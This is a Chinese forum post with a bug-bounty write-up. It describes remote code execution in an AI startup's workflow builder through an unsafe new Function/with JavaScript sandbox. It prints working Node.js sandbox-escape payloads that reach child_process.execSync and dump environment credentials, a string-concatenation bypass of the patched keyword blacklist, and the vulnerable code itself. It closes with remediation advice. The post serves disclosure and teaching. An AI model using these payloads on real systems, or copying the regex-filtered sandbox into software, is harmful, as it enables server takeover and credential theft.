找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2212

积分

0

好友

320

主题
发表于 2025-12-25 04:32:55 | 查看: 32| 回复: 0

本文仅用于网络安全研究学习,请勿用于非法用途。

在漏洞赏金实践中,聚焦于那些测试覆盖不足的应用或功能往往能取得更好成效。热门目标通常已被反复测试,发现新漏洞的几率相对较低。

一个有效的策略是,使用特定的Google搜索语法,并应用“过去一周”的时间筛选条件,以发现新近启动或更新的漏洞赏金计划:

("Bug Bounty Program" | ("Vulnerability" & "Reward")) -bugcrowd -hackerone -yeswehack -intigriti -immunefi

此查询能有效过滤主流漏洞赏金平台,帮助研究者找到鲜为人知的新目标。正是通过这一方法,我发现了一家近期刚推出漏洞赏金计划的AI初创公司。

在审查其Web应用时,我首先发现了一处部署配置错误,导致了目录遍历与列表。

目录列表暴露

遍历暴露的目录后,虽未立即发现敏感文件,但注意到了大量JavaScript源映射文件(.js.map)。源映射文件在开发阶段用于调试,能将压缩后的代码映射回原始源代码,包含变量名、函数甚至注释。

通过下载这些公开的.map文件,并使用sourcemapper等工具,可以完整地重建出原始的JavaScript/TypeScript源代码

源码重建工具

使用VS Code审查恢复的代码时,一个位于webpack:/_N_E/src/app/api/utils/utils.ts的文件引起了我的注意,其中包含一个名为sandboxedEval的函数。

[...]
function updateCodeNode(code: string) {
  const regex = /\{\{(.*?)\}\}/g;
  let updatedCode = `${code}`
    .trim()
    .replace(regex, (match, innerTemplate) => {
      return `workflow.${innerTemplate}`;
    })
    .replaceAll('console.log', 'logFunc')
    .replaceAll('console.error', 'errorFunc')
    .replaceAll('console.warn', 'warnFunc');
  return updatedCode;
}

export async function sandboxedEval(
  workflow: Record<string, any>,
  code: string,
  input: Record<string, any> | null = null
): Promise<{ result: any; logs: Record<string, string>[] }> {
  const logs: Record<string, string>[] = [];
  [...]
  const sanitizeCode = (code: string): string => {
    const dangerousPatterns = [
      /process\./g,
      /require\(/g,
      /import\s+/g,
      /export\s+/g,
      /eval\(/g,
      /Function\(/g,
      /document\./g,
      /window\./g,
      /global\./g,
    ];
    let sanitizedCode = code;
    dangerousPatterns.forEach((pattern) => {
      if (pattern.test(sanitizedCode)) {
        console.log('pattern found: ', pattern);
        throw new Error('Cannot execute code with dangerous patterns');
      }
      sanitizedCode = sanitizedCode.replace(pattern, '/* blocked */');
    });
    return sanitizedCode;
  };
  try {
    let sandbox: any = {
      logFunc,
      errorFunc,
      warnFunc,
      Math,
      Date,
      workflow: workflow,
      output: null,
    };
    if (input) {
      sandbox.input = input;
    }
    sanitizeCode(code);
    const updatedCode = updateCodeNode(code) + '\nreturn null;';
    const func = new Function(
      'sandbox',
      `with (sandbox) { return (async function() { ${updatedCode} })(); }`
    );
    const result = await func(sandbox);
    return { result: sandbox.output ? sandbox.output : result, logs };
  } catch (e: any) {
    throw new Error(`Error in executing code: '${e.message}'`);
  }
}
[...]

该函数的设计存在严重缺陷:它组合使用了new Function()with()这两个高危结构,并依赖脆弱的基于正则表达式的过滤。这类模式极易遭受逃逸攻击、原型链污染或对象遍历攻击

接下来需要确定:这段代码在哪里被使用?

深入分析应用功能后发现,这是一个AI智能体平台,内置可视化流程构建器。用户可以在构建工作流时嵌入自定义JavaScript代码,而平台正是使用上述“沙箱”函数来“安全”地执行这些代码。

漏洞利用链构建

至此,可以断定该沙箱实现并不安全,能够被绕过,最终在服务器端实现远程代码执行(RCE)

利用思路如下:

  1. 获取全局对象:在非严格模式下,通过立即执行函数获取全局对象(Node.js中为global)。
    let g = (function () { return this })();
  2. 访问 require 函数:通过全局对象的构造函数链,获取Function构造器,动态创建一个返回require函数的函数。
    let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
  3. 执行系统命令:利用获取到的require函数导入child_process模块,调用execSync执行任意命令。
    let o = r('child_process').execSync('env').toString();
    logFunc(o);

将整合后的载荷插入到应用脚本编辑器中:

let g = (function () { return this })();
let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
let o = r('child_process').execSync('env').toString();
logFunc(o);

Payload执行

执行成功后,输出包含了230多个环境变量,泄露了大量敏感凭证,包括AWS密钥、GitHub令牌、OpenAI API密钥、数据库连接字符串等:

AWS_ACCESS_KEY_ID=[REDACTED]
AWS_SECRET_ACCESS_KEY=[REDACTED]
GITHUB_ACCESS_TOKEN=ghp_[REDACTED]
OPENAI_API_KEY=sk-[REDACTED]
POSTGRES_URL=postgres://...[REDACTED]
...

这证实了攻击者可以在后端服务器上执行任意命令,实现了完整的远程代码执行(RCE)

漏洞影响

  • 完全远程命令执行:攻击者可控制后端服务器。
  • 敏感信息全量泄露:环境变量中的各类云服务凭证、API密钥、数据库密码被直接获取。
  • 攻击面横向扩展:利用初始立足点,可进一步渗透内网其他关联系统。
  • 后续恶意行为:包括数据破坏、部署挖矿木马等恶意软件。

安全修复建议

  1. 配置层面:立即禁用生产环境的目录列表功能,确保.js.map等源码映射文件不被公开访问。
  2. 架构层面:避免在应用进程内执行不可信的用户代码。如果必须提供此类功能,应考虑使用强化隔离的沙箱方案,例如isolated-vm,或将代码执行任务调度到资源受限、网络隔离的独立Docker容器中运行。
  3. 代码层面:彻底弃用new Function()eval()with()语句。基于正则表达式的黑名单过滤永远不是可靠的安全方案,应转变为白名单机制,或直接使用安全的沙箱库。

后续进展

我于2025年7月23日提交了报告(目录列表信息泄露 & 不安全的JS沙箱绕过导致RCE)。尽管厂商CTO迅速确认了漏洞的严重性并进行了修复,但最终漏洞评级被合并并降级为“中危”,仅获得200美元奖励。厂商后续解释将其归因于“第三方Java库的零日漏洞”,这与实际情况明显不符。

然而,故事并未结束。
在撰写本文后,我重新测试了该功能。发现他们所谓的“修复”仅仅是基于我提供的PoC,在过滤列表中添加了几个关键词黑名单:

const dangerousPatterns = [
    /process\./g,
    /require\(/g,
    /eval\(/g,
    /Function\(/g,
    /child_process/g,    // 新增
    /mainModule/g,       // 新增
    /constructor\(/g,    // 新增
    /execSync\(/g,       // 新增
];

这种“打补丁”式的修复完全无效。我只需对原有载荷进行简单的字符串拼接即可再次绕过:

let g = (function () { return this })();
let r = g['constructor']['constructor']("return this['process']['main'+'Module']['require']")();
let o = r('child_'+'process')['execSync']('id').toString();
output = o;

二次绕过

命令成功执行,输出了系统用户信息。这再次证明,对于动态语言执行环境的安全控制,尤其是涉及Node.js这类拥有强大系统访问能力的后端环境,简单的关键字过滤是完全徒劳的,必须从执行隔离的根源上解决问题。




上一篇:Messenger Bot营销自动化实战案例:年入千万美金的非技术创业路径
下一篇:SQL异常处理实战:存储过程事务回滚与TRY...CATCH最佳实践
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-11 11:52 , Processed in 0.243694 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表